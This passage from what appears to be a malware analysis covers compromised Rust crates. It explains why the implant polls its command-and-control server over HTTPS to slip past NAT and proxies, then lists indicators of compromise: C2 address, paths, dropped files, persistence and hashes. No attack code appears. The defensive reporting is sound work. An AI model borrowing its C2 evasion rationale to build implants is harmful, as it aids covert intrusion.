Why this works. The polling design is a reversal of the typical beacon pattern. Instead of the C2 opening a long lived TCP connection to the beacon (which is what a reverse shell would do), the beacon polls the C2 over HTTPS on a fixed interval. The polling pattern survives NAT, corporate HTTP proxies, and dynamic IPs because every connection looks like a regular HTTPS GET to an external server. The fixed command vocabulary (five names) keeps the implementation footprint tiny, so the whole binary fits in a small static binary without a large runtime. The Shell and ShellX pair is the actual remote code execution primitive; the others (minicfg, startup, runscript) are maintenance commands that keep the beacon alive between operator sessions.

Indicators of compromise

Network indicators.

• 23.254.165.112:9089 (HTTPS) payload download host.
• 23.254.165.112:443 C2 host, passed to the second stage as argv[1].
• HTTPS GET request to path /49890878 on the C2 host (registration).
• HTTPS GET request to path with /tasks style suffix on the C2 host (polling).

File indicators (Unix).

• /tmp/rust-setup (downloaded second stage executable).

File indicators (Windows).

• %TEMP%\rust-setup.ps1 (downloaded PowerShell payload).
• %TEMP%\rust-setup-launch.vbs (VBScript launcher that hides the PowerShell window).

File indicators (macOS persistence).

• A plist file under ~/Library/LaunchAgents/ with RunAtLoad set to true and a ProgramArguments array starting with /bin/zsh, -c.

Second stage binary file names across platforms.

• rust-crate_0.1.0 (Linux x86_64)
• rust-crate_0.2.0 (Windows x86_64)
• rust-crate_0.3.0 (macOS x86_64)
• rust-crate_0.4.0 (macOS aarch64)

Compromised crates and versions.

• arrayref 0.3.10
• internment 0.8.7
• append-only-vec 0.1.9
• proc-macro1 (any version)
• proc-macro-en (any version)
• aovine (any version)
• arone (any version)
• aronenao (any version)
• tinymember (any version)

SHA256 hashes of removed crate artifacts.

• arrayref 0.3.10: 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
• proc-macro1 1.0.107: 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
• proc-macro1 1.0.106: b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436